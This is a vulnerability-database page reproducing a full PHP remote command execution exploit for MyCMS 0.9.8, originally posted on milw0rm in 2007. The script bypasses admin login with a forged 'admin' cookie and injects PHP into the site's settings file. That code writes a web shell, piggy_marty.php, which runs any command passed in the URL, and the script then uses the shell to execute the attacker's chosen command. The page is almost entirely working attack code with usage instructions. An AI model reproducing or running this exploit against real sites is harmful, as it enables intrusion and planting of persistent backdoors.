Lucene search
K

MyCMS <= 0.9.8 - Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 25 Views

MyCMS 0.9.8 Remote Command Executio

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;
MyCMS &#60;= 0.9.8 Remote Command Execution Exploit
by BlackHawk &#60;[email protected]&#62; &#60;http://itablackhawk.altervista.org&#62;
Thanks to rgod for the php code and Marty for the Love

&#34;;
if ($argc&#60;3) {
echo &#34;Usage: php &#34;.$argv[0].&#34; Host Path CMD
Host:          target server (ip/hostname)
Path:          path of myblog

Example:
php &#34;.$argv[0].&#34; localhost /myblog/ dir&#34;;

die;
}
/*
The problem is in all admin files:

if(isset($_COOKIE[&#39;admin&#39;])) {
$name = $_COOKIE[&#39;login&#39;]; 
}
else {
echo &#34;Please Login&#34;;
exit;
}

This easy to bypass function leads to a RCE because we can put PHP code in settings.inc,
that is required in many pages..

This exploit create a piggy_marty.php shell on the victim site

*/

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd=&#34;&#34;;
for ($i=3; $i&#60;=$argc-1; $i++){
$cmd.=&#34; &#34;.$argv[$i];
}
$cmd=urlencode($cmd);


$port=80;
$proxy=&#34;&#34;;

if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo &#34;Step0 - See If piggy_marty.php already exists..\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;piggy_marty.php?cmd=$cmd HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: cmd=$cmd\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (strstr($html,&#34;666999&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;666999&#34;,$html);
  die(&#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;);
}

echo &#34;Step1 - Retrieving Configuration\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;admin/settings.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: admin=BlackHawk\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
$temp=explode(&#34;&#60;textarea name=\&#34;content\&#34; cols=\&#34;80\&#34; rows=\&#34;20\&#34;&#62;&#34;, $html);
$config_file=explode(&#34;&#60;/textarea&#62;&#60;br /&#62;&#60;input type=\&#34;submit\&#34; /&#62;&#60;/form&#62;&#34;, $temp[1]);
$new_file = str_replace(&#39;?&#62;&#39;, &#39;
$fp=fopen(\&#39;piggy_marty.php\&#39;,\&#39;w\&#39;);
fputs($fp,\&#39;&#60;?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
$_GET[cmd]=stripslashes($_GET[cmd]);
}
echo 666999;
passthru($_GET[cmd]);
echo 666999;
?&#62;\&#39;);
fclose($fp);
chmod(\&#39;piggy_marty.php\&#39;,777);
?&#62;&#39;, $config_file[0]);

echo &#34;Step2 - Uploading New Data..\r\n&#34;;
$data=&#34;content=&#34;.urlencode($new_file);
$packet=&#34;POST &#34;.$p.&#34;admin/settings.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;admin/settings.php\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: admin=BlackHawk\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);

echo &#34;Step3 - Executing Shell Maker\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;index.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: \r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
sleep(3);
echo &#34;Step4 - Executing Shell..\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;piggy_marty.php?cmd=$cmd HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: cmd=$cmd\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (strstr($html,&#34;666999&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;666999&#34;,$html);
  die(&#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;);
}

# Coded With BH Fast Generator v0.1
?&#62;

# milw0rm.com [2007-07-03]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation